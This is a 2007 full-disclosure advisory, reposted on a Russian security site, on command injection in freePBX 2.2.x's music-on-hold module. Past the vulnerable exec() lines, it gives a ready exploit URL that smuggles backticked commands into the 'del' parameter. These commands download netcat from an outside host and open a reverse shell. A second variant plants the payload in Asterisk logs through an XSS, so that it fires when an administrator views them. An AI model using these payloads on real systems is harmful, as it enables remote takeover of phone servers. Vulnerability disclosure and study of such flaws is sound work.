Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  Eba News Version : v1.1 <=  (webpages.
php) Remote File Include // starhack.org

  NeatUpload vulnerability and fix

  [waraxe-2007-SA#049] - Multiple vulnerabilities in Phorum 5.1.20

  IPB (Invision Power Board) Full Path Disclusure

From:XenoMuta <xenomuta_(at)_phreaker.net>
Date:22.04.2007
Subject:[Full-disclosure] freePBX 2.2.x's Music-on-hold Remote Code Execution Injection

I've found a code injection in the music-on-hold module at freePBX's  
portal.

There are Inssuficient filters in the delete functions. Only " '  
and ; are being filtered.

Vulnerable Lines:
300:                        $rmcmd="rm -f \"".$path_to_dir."/".
$del."\"";
301:                        exec($rmcmd);


Example code:
http://<freePBX-host>/admin/config.
php?display=music&del=\`wget -q  
http://xenomuta.coolinc.info/nc -O /tmp/nc\`\`/tmp/nc  
myhost.mydomain.com 1234 -e /bin/sh\`&category=default


You can inject this code without access to the portal into the /var/
log/asterisk/full this way...
./asteriskxss.php asterisk-server "<img src=\"/admin/config.php?
display=music&del=\`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc
\`\`/tmp/nc myhost.mydomain.com 1234 -e /bin/sh\`&category=default\">"
hoping that an administrator to view the logs from the portals....  
using the documented XSS vulnerability posted here...

http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/
053882.html

About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod
 



Rating@Mail.ru